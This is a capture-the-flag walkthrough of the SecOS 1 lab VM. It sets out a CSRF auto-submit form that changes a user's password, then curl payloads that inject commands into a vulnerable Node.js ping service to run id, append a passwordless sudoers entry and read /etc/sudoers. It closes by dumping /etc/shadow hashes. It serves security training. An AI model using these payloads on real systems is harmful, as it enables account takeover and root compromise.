Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

SecOS 1 Walkthrough

The next boot2root that I decided to do was SecOS #1 from PaulSec.

First up was to run netdiscover to find out where the new VM was located.

root@kali:~# netdiscover -i eth0 -r 172.16.119.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts 
                                                                               
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
 ________________________________________________________________
    IP            At MAC Address      Count  Len   MAC Vendor            
 ----------------------------------------------------------------
 172.16.119.1    00:50:56:c0:00:01    01    060   VMWare, Inc.      
 172.16.119.137  00:0c:29:a1:af:25    01    060   VMware, Inc.      
 172.16.119.254  00:50:56:ef:65:dc    01    060   VMWare, Inc.     

Knowing where the host was, I was able to run a quick Nmap scan to see what was actually running.

root@kali:~# nmap -sT -sV -O 172.16.119.137

Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-10 05:07 EDT
Nmap scan report for 172.16.119.137
Host is up (0.00034s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     (protocol 2.0)
8081/tcp open  http    Node.js (Express middleware)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port22-TCP:V=6.47%I=7%D=7/10%Time=55AF5D4D%P=x86_64-unknown-linux-gnu%r
SF:(NULL,27,"SSH-2\.0-OpenSSH_6\.6p1\x20Ubuntu-2ubuntu1\r\n");
MAC Address: 00:0C:29:A1:AF:25 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.76 seconds

It looked like the HTTP/Node.js server would be my best bet for entry, so I decided to check out the home page.

After poking around a bit, there was a commented out link on the About page.

On the hint page, there was a reference to CSRF and how the admin visits the page, so that would probably be quite useful later.

I tried to create an account (test/test) to login to the application, but it appeared that the user already existed.

I was then actually able to login to the account (and change the password) using the same credentials that I would have used (not in a production environment of course).


With at least a basic account, I decided to see what other users existed on the system (and test for XSS, though that didn’t work).

Using the hint from earlier, I stood up a basic form for CSRF. Note that I used 127.0.0.1 as the application IP, since the hint from earlier mentioned that the administrator accessed the application from his localhost.

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title></title>
</head>
<body>
  <form name="badform" method="post" action="http://127.0.0.1:8081/change-password">
    <input type="hidden" name="username" value="spiderman" />
    <input type="hidden" name="password" value="passw0rd" />
    </form>
    <script type="text/javascript">
        document.badform.submit();
    </script>
</body>
</html>

With my page prepared, I started up a Python SimpleHTTPServer and waited for requests.

root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
172.16.119.137 - - [10/Jul/2015 12:31:11] "GET /csrf.html HTTP/1.1" 200 -

Having everything was in place, I sent the spiderman user a message to my CSRF page.

After waiting a bit (and seeing the GET request in my SimpleHTTPServer above), I was able to login to the spiderman account using the changed credentials, and change his password.

Additionally, I was able to view spiderman’s messages. One of them referenced his password, so I was hoping that it was his SSH password/a password that he reused for SSH.

Using spiderman/CrazyPassword! I was actually able to SSH into the box, which was great.

root@kali:~# ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic i686)

* Documentation:  https://help.ubuntu.com/

  System information as of Wed Jul 10 15:09:03 CEST 2015

  System load: 0.0               Memory usage: 20%   Processes:       86
  Usage of /:  37.0% of 6.50GB   Swap usage:   0%    Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Last login: Thu Jul 10 13:39:24 2015 from 172.16.119.128
spiderman@SecOS-1:~$ 

After a bit of enumeration, I discovered that some sort of server.js was running (and under the root user!), so I assumed that it was at least part of the web server that I was able to hit.

spiderman@SecOS-1:~/vnwa$ ps aux | grep vnwa
root      1001  0.0  0.0   4692    52 ?        Ss   Jul09   0:00 sudo -u spiderman sh -c /usr/local/bin/node /home/spiderman/vnwa/server.js
root      1005  0.0  0.0   4692    48 ?        Ss   Jul09   0:00 sudo -u root sh -c /usr/local/bin/node /home/spiderman/vnwa/internalServer.js
spiderm+  1023  0.0  0.0   2268    64 ?        S    Jul09   0:00 sh -c /usr/local/bin/node /home/spiderman/vnwa/server.js
spiderm+  1024  4.5 16.7  93652 41532 ?        Sl   Jul09  90:42 /usr/local/bin/node /home/spiderman/vnwa/server.js
root      1026  0.0  0.0   2268    64 ?        S    Jul09   0:00 sh -c /usr/local/bin/node /home/spiderman/vnwa/internalServer.js
root      1027  0.0  0.0  74656   144 ?        Sl   Jul09   0:00 /usr/local/bin/node /home/spiderman/vnwa/internalServer.js
spiderm+ 17146  0.0  0.2   2268   556 ?        Ss   20:32   0:00 /bin/sh -c /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js
spiderm+ 17147  0.0  9.6  93408 23784 ?        Sl   20:32   0:00 /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js
spiderm+ 17266  0.0  0.2   2268   552 ?        Ss   20:33   0:00 /bin/sh -c /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js
spiderm+ 17267  0.0  9.6  93296 23792 ?        Sl   20:33   0:00 /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js
spiderm+ 17289  0.0  0.2   2268   552 ?        Ss   20:34   0:00 /bin/sh -c /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js
spiderm+ 17290  0.1  9.5  93296 23528 ?        Sl   20:34   0:00 /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js
spiderm+ 17302  0.0  0.2   2268   552 ?        Ss   20:35   0:00 /bin/sh -c /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js
spiderm+ 17303  0.5  9.6  93408 23780 ?        Sl   20:35   0:00 /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js
spiderm+ 17309  0.0  0.3   4680   824 pts/0    S+   20:35   0:00 grep --color=auto vnwa

Looking at the internalServer.js file, it appeared to be running a ping service of some sort on the local machine on port 9000.

spiderman@SecOS-1:~/vnwa$ cat internalServer.js
var fs = require('fs');
var express = require('express');
var http = require('http');
var sys = require('sys')
var exec = require('child_process').exec;
var crypto = require('crypto');

var utils = require('./lib/utils.js');
var model = require('./lib/model.js');

var app = express();
var server = http.createServer(app);

var logger = function (req, res, next) {
    console.log(req.connection.remoteAddress + " tried to access : " + req.url);
    next(); // Passing the request to the next handler in the stack.
}

// Configuration
app.configure(function () {
    // Session management
    app.use(express.cookieParser());
    app.use(express.session({secret: 'privateKeyForSession'}));
    app.use("/js", express.static(__dirname + '/public/js')); // javascript folder
    app.use("/css", express.static(__dirname + '/public/css')); // javascript folder

    app.set('views', __dirname + '/views'); // views folder
    app.set('view engine', 'ejs'); // view engine for this projet : ejs

    app.use(express.bodyParser()); // for POST Requests
    app.use(logger); // Here you add your logger to the stack.
    app.use(app.router); // The Express routes handler.
});


app.get('/', function (req, res) {
    res.render('ping.ejs', {
        isConnected: req.session.isConnected,
        isAdmin: req.session.isAdmin
    });
});

// Update password
app.post('/', function (req, res) {
    ip = req.body.ip
    if (ip == "") {
        utils.redirect(req, res, '/ping-status');
    } else {
        // getting the command with req.params.command
        var child;
        // console.log(req.params.command);
        child = exec('ping ' + ip, function (error, stdout, stderr) {
            res.render('ping.ejs', {
                isConnected: req.session.isConnected,
                message: stdout,
                isAdmin: req.session.isAdmin
            });
        });
    }
});

server.listen(9000, '127.0.0.1', function() {
  console.log("Listening on port 9000");
});

I also verified that something was indeed listening on port 9000, just to make sure.

spiderman@SecOS-1:~/vnwa$ netstat -anp | grep 9000
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN

With this information in hand, I decided to attempt to send a POST request to this service using CURL and the local IP. After waiting for awhile, I realized that it was because ping in Linux doesn’t auto-terminate by default, so my second request sent only one packet.

spiderman@SecOS-1:~/vnwa$ curl --data "ip=127.0.0.1" localhost:9000
^C
spiderman@SecOS-1:~/vnwa$ curl --data "ip=127.0.0.1 -c 1" localhost:9000

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <!-- <link rel="shortcut icon" href="../../assets/ico/favicon.ico"> -->

    <title>Internal Web App</title>

    <!-- Bootstrap core CSS -->
    <link href="/css/bootstrap.min.css" rel="stylesheet">
    <!-- Bootstrap theme -->
    <link href="/css/bootstrap-theme.min.css" rel="stylesheet">

    <!-- Custom styles for this template -->
    <link href="/css/theme.css" rel="stylesheet">
    <link href="/css/theme-secure-web-app.css" rel="stylesheet">
  </head>

  <body role="document">

    <!-- Fixed navbar -->
    <div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
            <span class="sr-only">Toggle navigation</span>
          </button>
          <a class="navbar-brand" href="/">Internal admin tools</a>
        </div>
        <div class="navbar-collapse collapse">
          <ul class="nav navbar-nav">
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </div>

    <div class="container">
      <form class="form-signin" action="/" method="POST">
        <h4 class="form-signin-heading">Enter the IP you want to ping</h4>
        <input type="text" class="input-block-level" placeholder="127.0.0.1" name="ip"><br />
        <button class="btn btn-large btn-primary" type="submit">Ping !</button>
      </form>

       
        <div class="panel panel-default">
            <div class="panel-heading">
                <h3 class="panel-title">Ping result</h3>
            </div>
            <div class="panel-body">PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
</div>
        </div>
       

    </div> <!-- /container -->

  </body>
</html>

Now that I was able to use the service locally, I wanted to see if it was vulnerable to some super simple command injection using ‘id’ (emphasis added).

spiderman@SecOS-1:~$ curl --data "ip=127.0.0.1 -c 1;id" 127.0.0.1:9000
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <!-- <link rel="shortcut icon" href="../../assets/ico/favicon.ico"> -->

    <title>Internal Web App</title>

    <!-- Bootstrap core CSS -->
    <link href="/css/bootstrap.min.css" rel="stylesheet">
    <!-- Bootstrap theme -->
    <link href="/css/bootstrap-theme.min.css" rel="stylesheet">

    <!-- Custom styles for this template -->
    <link href="/css/theme.css" rel="stylesheet">
    <link href="/css/theme-secure-web-app.css" rel="stylesheet">
  </head>

  <body role="document">

    <!-- Fixed navbar -->
    <div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
            <span class="sr-only">Toggle navigation</span>
          </button>
          <a class="navbar-brand" href="/">Internal admin tools</a>
        </div>
        <div class="navbar-collapse collapse">
          <ul class="nav navbar-nav">
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </div>

    <div class="container">
      <form class="form-signin" action="/" method="POST">
        <h4 class="form-signin-heading">Enter the IP you want to ping</h4>
        <input type="text" class="input-block-level" placeholder="127.0.0.1" name="ip"><br />
        <button class="btn btn-large btn-primary" type="submit">Ping !</button>
      </form>

       
        <div class="panel panel-default">
            <div class="panel-heading">
                <h3 class="panel-title">Ping result</h3>
            </div>
            <div class="panel-body">PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.012 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.012/0.012/0.012/0.000 ms
uid=0(root) gid=0(root) groups=0(root)
</div>
        </div>
       

    </div> <!-- /container -->

  </body>
</html>

Since I knew I was able to execute arbitrary commands as root, I figured the simplest path to root would be to add spiderman to the sudoers file (where he didn’t exist yet) and give him access to ALL.

spiderman@SecOS-1:~$ id
uid=1001(spiderman) gid=1001(spiderman) groups=1001(spiderman)
spiderman@SecOS-1:~$ curl --data "ip=127.0.0.1 -c 1;echo 'spiderman  ALL = NOPASSWD: ALL' >> /etc/sudoers" 127.0.0.1:9000

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <!-- <link rel="shortcut icon" href="../../assets/ico/favicon.ico"> -->

    <title>Internal Web App</title>

    <!-- Bootstrap core CSS -->
    <link href="/css/bootstrap.min.css" rel="stylesheet">
    <!-- Bootstrap theme -->
    <link href="/css/bootstrap-theme.min.css" rel="stylesheet">

    <!-- Custom styles for this template -->
    <link href="/css/theme.css" rel="stylesheet">
    <link href="/css/theme-secure-web-app.css" rel="stylesheet">
  </head>

  <body role="document">

    <!-- Fixed navbar -->
    <div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
            <span class="sr-only">Toggle navigation</span>
          </button>
          <a class="navbar-brand" href="/">Internal admin tools</a>
        </div>
        <div class="navbar-collapse collapse">
          <ul class="nav navbar-nav">
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </div>

    <div class="container">
      <form class="form-signin" action="/" method="POST">
        <h4 class="form-signin-heading">Enter the IP you want to ping</h4>
        <input type="text" class="input-block-level" placeholder="127.0.0.1" name="ip"><br />
        <button class="btn btn-large btn-primary" type="submit">Ping !</button>
      </form>

       
        <div class="panel panel-default">
            <div class="panel-heading">
                <h3 class="panel-title">Ping result</h3>
            </div>
            <div class="panel-body">PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
</div>
        </div>
       

    </div> <!-- /container -->

  </body>
</html>

Just to be sure, I then also dumped the sudoers file to make sure that it was where I expected and contained spiderman’s information.

spiderman@SecOS-1:~$ curl --data "ip=127.0.0.1 -c 1;cat /etc/sudoers" 127.0.0.1:9000

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <!-- <link rel="shortcut icon" href="../../assets/ico/favicon.ico"> -->

    <title>Internal Web App</title>

    <!-- Bootstrap core CSS -->
    <link href="/css/bootstrap.min.css" rel="stylesheet">
    <!-- Bootstrap theme -->
    <link href="/css/bootstrap-theme.min.css" rel="stylesheet">

    <!-- Custom styles for this template -->
    <link href="/css/theme.css" rel="stylesheet">
    <link href="/css/theme-secure-web-app.css" rel="stylesheet">
  </head>

  <body role="document">

    <!-- Fixed navbar -->
    <div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
            <span class="sr-only">Toggle navigation</span>
          </button>
          <a class="navbar-brand" href="/">Internal admin tools</a>
        </div>
        <div class="navbar-collapse collapse">
          <ul class="nav navbar-nav">
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </div>

    <div class="container">
      <form class="form-signin" action="/" method="POST">
        <h4 class="form-signin-heading">Enter the IP you want to ping</h4>
        <input type="text" class="input-block-level" placeholder="127.0.0.1" name="ip"><br />
        <button class="btn btn-large btn-primary" type="submit">Ping !</button>
      </form>

       
        <div class="panel panel-default">
            <div class="panel-heading">
                <h3 class="panel-title">Ping result</h3>
            </div>
            <div class="panel-body">PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.012 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.012/0.012/0.012/0.000 ms
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults     env_reset
Defaults     mail_badpass
Defaults     secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root     ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo     ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
spiderman  ALL = NOPASSWD: ALL
</div>
        </div>
       

    </div> <!-- /container -->

  </body>
</html>

With spiderman a sudoer now, I was able to sudo /bin/sh and get root.

spiderman@SecOS-1:~$ sudo -l
Matching Defaults entries for spiderman on SecOS-1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User spiderman may run the following commands on SecOS-1:
    (root) NOPASSWD: ALL
spiderman@SecOS-1:~$ sudo /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

As root, I grabbed the flag.txt (which will allegedly be used in his next VM, but I did not redact it as cheating on the next one won’t help anyone anyway).

# cat flag.txt
Hey,

Congrats, you did it !

The flag for this first (VM) is: MickeyMustNotDie.
Keep this flag because it will be needed for the next VM.

If you liked the Web application, the code is available on Github.
(https://github.com/PaulSec/VNWA)

There should be more VMs to come in the next few weeks/months.

Twitter: @PaulWebSec
GitHub : PaulSec

Of course I also grabbed the shadow file just in case.

# cat /etc/shadow
root:$6$i3eopI5X$TFp/JoQDo.eiPwD/cZeGzhUajaPQYgt7gI/OlwyZVB3Uu/Mrj668DtC9BmeeIcjeQ9dkCHllCJt/uoSHeB6jn0:16626:0:99999:7:::
daemon:*:16176:0:99999:7:::
bin:*:16176:0:99999:7:::
sys:*:16176:0:99999:7:::
sync:*:16176:0:99999:7:::
games:*:16176:0:99999:7:::
man:*:16176:0:99999:7:::
lp:*:16176:0:99999:7:::
mail:*:16176:0:99999:7:::
news:*:16176:0:99999:7:::
uucp:*:16176:0:99999:7:::
proxy:*:16176:0:99999:7:::
www-data:*:16176:0:99999:7:::
backup:*:16176:0:99999:7:::
list:*:16176:0:99999:7:::
irc:*:16176:0:99999:7:::
gnats:*:16176:0:99999:7:::
nobody:*:16176:0:99999:7:::
libuuid:!:16176:0:99999:7:::
syslog:*:16176:0:99999:7:::
messagebus:*:16185:0:99999:7:::
landscape:*:16185:0:99999:7:::
sshd:*:16185:0:99999:7:::
secosadmin:$6$3YVqntG6$DRjb75qLdF1nu9j0D4Jfpbs8oSeVWl9I6W.7N3wmEZPPBCpxeez/mQEsK8tvBDd0/eiqp/0tGoJol4nmUl7KP.:16185:0:99999:7:::
mongodb:*:16185:0:99999:7:::
spiderman:$6$EM22OYT2$G3bNRAMBXgWcth2Fzgl/pBbUIik3WBMFb/puWQn.UWS/Pq0GAxvlGQQVozG4CWeb76APZ88GC0ycGlofcM7Bg.:16185:0:99999:7:::

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.